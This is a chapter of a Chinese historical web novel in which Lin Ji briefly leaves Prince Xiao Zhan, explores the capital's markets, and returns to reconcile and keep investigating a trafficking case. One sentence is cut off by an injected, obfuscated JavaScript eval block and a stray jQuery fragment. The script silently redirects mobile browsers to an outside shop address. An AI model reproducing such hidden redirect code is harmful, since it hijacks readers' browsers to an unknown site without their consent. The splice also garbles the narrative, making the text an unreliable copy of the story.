林霁将卖身契压在枕下,辗转难眠,萧湛这是要与她散伙了?可是她先说这差事她不干了。
她知道这是她犯怂的性格使然,面对让她难受的事时,会下意识地逃避。
不想面对生死,所以她想远离生死。
不能为枉死的少年申冤,无法救出被拐卖的人,她便会心生痛苦,只觉是自己无能。
她想让乾坤朗朗,人人平等,然而现实是将凶手绳之以法都困难重重,前路也迷雾成团。
可是…
若有萧湛在,她便不觉得这件事有多难,身后有萧湛,眼前的路即便是雾浓到看不清,甚至将自己淹没,她似乎也不在怕的。
可是…萧湛要与她散伙了!
林霁想到此处,鼻子哼了一声,散伙就散伙!有什么了不起!
翻了个身,负气闭眼睡去。
-
“喂,猪,起来用饭!”惊羽屈起食指和中指一下一下敲林霁的门,无人回应。
萧湛坐在石桌前,眉毛轻皱,走到她门前,手轻轻一推门便开了。
只见屋内物品摆放整齐,床铺干净整洁,林霁早已离开。
“殿下,她…她就这样走啦?”惊羽简直怀疑自己的眼睛。
萧湛在屋内环顾一圈,发现她个人物品已悉数拿走,这间屋子似是无人住过。
“罢了,随她去吧!”
随后师兄弟二人便一同用饭,相顾无言,只听见碗筷碰撞的声响。
“快吃,吃完去寻人!”萧湛冷不丁的说道。
惊羽手中的碗欲放未放,“嘁”道:“哦…不随她去啦?”
萧湛:“………”
林霁大清早从别院出来,拿着萧湛先前给她的银两便在闹市街坊晃荡。
不愧是大梁最繁华之地啊!
小贩的吆喝声划破晨雾,饼铺的烧饼色泽金黄,表面鼓起了焦黄的小泡,焦香扑来,林霁肚子的咕噜声也跟着响起。
她走进挂着“老兴昌”牌匾的灌汤馒头馆子,见那屉笼里的馒头冒出袅袅白雾,便朝小二吆喝:“小哥哥,来份那个小馒头和七宝素粥!”
“好嘞,您请等着!”
吃完早点,她用餐布擦了擦嘴,又往西市去,先前在遏云楼听鸣蝉说西市卖胭脂水粉,衣裳布匹等物,大梁年轻的小娘子最爱逛西市。
她早想去那里感受一下,只可惜先前被困在遏云楼,姑娘们是不可随意出门的。
到了西市,林霁傻了眼,看着满街的胭脂水粉和衣裳铺子,她似是置身于义乌小商品市场。
“小娘子…想买何物?试试这款水粉如何?”
她还未动,已有热情的卖货小官上前推销。
“小娘子,你真俊俏,来铺子里看看吧!”
林霁已不知不觉跟随小官走进妆铺,她大多分不清都是何物,用在哪里,只见花色各异的膏膏粉粉。
“小娘子,给你上个妆如何?”
“你现在的眉过于粗了,给你画个远山眉可否?”
“你这发未梳,可否给你梳个发髻?”
林霁一声声“可”地允诺,待她从西市出来,似是变了个人,她粉黛精致,发髻时兴,衣裙样式素净别致,真真是大梁朝时尚前列的小丽人,买的物件两只手都提不完。
在上妆时,她听别的小娘子扯闲话说京城最好的酒楼便在这西市。
她拐了几条街坊和胡同,朝西市大街走了百余步便瞧见一气派酒楼,“太白遗风”的酒旗正被风吹得猎猎作响。
酒楼门前车水马龙,来往行人络绎不绝,厅内人声鼎沸,菜肴飘香,热闹非常。
林霁吃饱喝足,心情畅快得如那晨起的太阳。见街头有一戏台,一个白发老翁带一俊俏小娘子在拉二胡说书,她觉有趣,便坐下来听。
那老翁声音洪亮,抑扬顿挫,说得正是大梁燕亲王的一段奇事。
“话说咱这大梁朝燕亲王,面若冠玉,身姿潇洒,当真是一等一的风流人物,走在花街,送花的女子趋之若鹜,谁不为之倾倒?”
林霁听之,撇撇嘴,“切”了声,喝口茶水摇摇头。
又听白发老翁说道:“自古英雄出少年,咱们这燕亲王自然也非常人,众人可知大梁自建都以来,打的最漂亮的一场仗是哪一场?对对,便是三年前的颍水之战,这场战役可谓能载入咱大梁的史册,以少胜多,大捷啊!八百步兵折损北魏八千骑兵,大梁将士士气空前高涨,而出此计谋的人,正是年岁十五,第一次上战场的燕亲王。”
林霁捏住花生的手僵在半空,萧湛十五岁便上战场了?真枪实刀的上阵杀敌?还用计以少胜多取得了大捷?
她心里生出一种钦佩之情,由衷地感叹一句:燕王殿下,厉害啊!
难怪他说自己只会骑马拉弓,一无用处时,靳燃让他不可自轻。
在朝堂上,燕王的势力能与太子抗衡也不足为奇了,毕竟有可载入史册的军功在身。
而她十五岁呢?林霁转动眼珠回想一番,哦,在心无旁骛的学习刷题看漫画!
-
惊羽在京城寻了一天,没寻到林霁的踪影,当他懊恼烦躁欲回别院时,转头一看,河边的亭子里一年轻时髦的小娘子,正与几位老者推骨牌玩,不是林霁又是何人。
她身前桌上的铜板已堆成了小山丘,还在满脸得意地招呼老者们从口袋里往外掏钱。
惊羽咬牙切齿,寻了个角落观察她一番,见她欲将铜板收归腰间布袋,估摸着要离席,便暗暗跟踪。
赢了钱,她显得格外开心,脸色喜气洋洋,走到卖糖人的小铺,买了三个糖人,其中两个她让老板给包了起来,另外一只小人状的她边走边吃,好不快活。
买完糖人,惊羽见她竟大摇大摆的往别院走去。
惊羽先她一步,往别院飞奔而去,待踏入院内,萧湛正站在窗边,见他进来,便问:“如何?可寻到了?她回遏云楼了吗?”
“回…回来了!”惊羽气喘吁吁的指着门外回道。
萧湛立刻从窗边离开,坐到桌前翻开了兵书。
惊羽见他那模样,神情一滞,翻了个白眼,“嘁”了声,坐下大口喝水。
这时,林霁推门进来,猫着身子,笑嘻嘻地道:“小惊羽,看姐姐给你带了何物?”
说完拿出一个小狗状的糖人递给他。
她又凑到萧湛身边,说了同样的话:“萧湛,看姐姐给你带了何物?”
随即把一小猪形状的糖人放在他嘴边。
“怎么,我俩的糖人不是猪便是狗,你的为何是个小人?”惊羽反问道。
林霁:“…”
萧湛:“要吃就出去吃吧!不吃也出去...”
惊羽两边鼻翼骤然扩张,又狠狠收紧,如两扇失控的风箱。他一口咬掉了糖人的狗头,牙齿嚼着脆响,头也不回的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738854|207235||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出去了。
“你今日去了何处?”
林霁将一日闲游京城的经历说与他听,大赞京城市井繁华如锦绣,百姓安居享太平。
萧湛仔仔细细地将她从头到脚看了一遍,她此时与往日大有不同,似是融入了大梁的市井烟火气里,只是大梁万万千千少女中的一个。
“你既去意已决,又何必回来?”萧湛将眼睛从她身上移到兵书上。
“我为何不能回来?这里不是我的家吗?”
“...你那日说...查案的差事你不干了...”
林霁嘿嘿一声,掩饰当日口无遮拦的话:“干的干的!苏挽月还未落网,遏云楼的姐妹还未救出,拐卖案尚且才理出一点线索,你没我怎么能行?!”
萧湛默然:“…”
林霁见他不说话,误以为他当真想拆伙,便顾不得姐姐的脸面了,摇着他的手臂,撒娇道:“对不起嘛,不该那样指责你,燕王殿下,求求啦,让我帮你继续查案吧!”
她只觉自己扭捏作态的模样,真是要把自己作呕了。
萧湛终是败下阵来,心里的一抹浓愁慢慢化开,眼里装了笑意。
他也拿乔道:“你想留便留,想走便走,你当本王这里是那街边旅店吗?”
“...”林霁一簇小火上头:“你是何意思?我都这样求你了!”
萧湛把糖人放在嘴里吃了一口,只觉香甜极了。
“哼!那我走了!”她说完转身欲走。
“回来!”萧湛长臂一揽,将她箍进了自己的怀里,他身量也极高,弓着背,从后面将下巴搭在她的肩头,“日后不可再说这差事不干了!”
林霁身体僵住了,背后腰间,萧湛触碰的地方如火烤般热烘烘的,她僵硬地点点头。
“也不可骂我…”
她扑哧一笑,又点点头。
她欲挣开萧湛箍住她的手臂,却觉那手臂越收越紧,下巴愈发的低下来,那温热清浅的呼吸在她脖颈里扫着她的皮肤,像有人拿了羽毛搔在她的心上。
“罢了罢了,你快松开!”林霁扯开她腰间的手,“我们再合计合计张纯之的案子,还有一些疑点未解开。”
“霁姐姐,我已困倦了。”
“不准睡!”
林霁双手拍打他的脸,啪啪作响,又将油灯点着,屋子里瞬间亮堂了起来。
她拿来一张萧湛日常作画的纸,在纸上梳理拐卖案的人物关系,以遏云楼苏挽月为中心,列出逐个牵扯到的各方人物及势力。
萧湛手臂支在桌角,手握成拳撑着脸,眼皮已经合上了。
她瞅着他浅睡的样子,想起了今日说书老翁的话,燕王殿下面如冠玉,身姿潇洒,她赞同那老翁的评价了。
“你为何盯着我?”
林霁被他的话激了个颤,这人什么特异功能?他没睁眼啊?“谁...谁盯着你了,我在琢磨案情!”
萧湛睁眼道:“那你琢磨出什么可疑之处了?”
“疑点还是蛮多的...我可以肯定当日在摘星阁听到的那男人的声音非李家家仆!”
还有...李冬来临死前说了一句话。
李冬来质问李云秋为何不肯跟他合作?他是谁?为何不肯跟他合作?
思来想去,林霁突然说道:“不行,我得回遏云楼!”
萧湛的眼睛彻底睁大了,小声嘟囔:“不能不回吗?”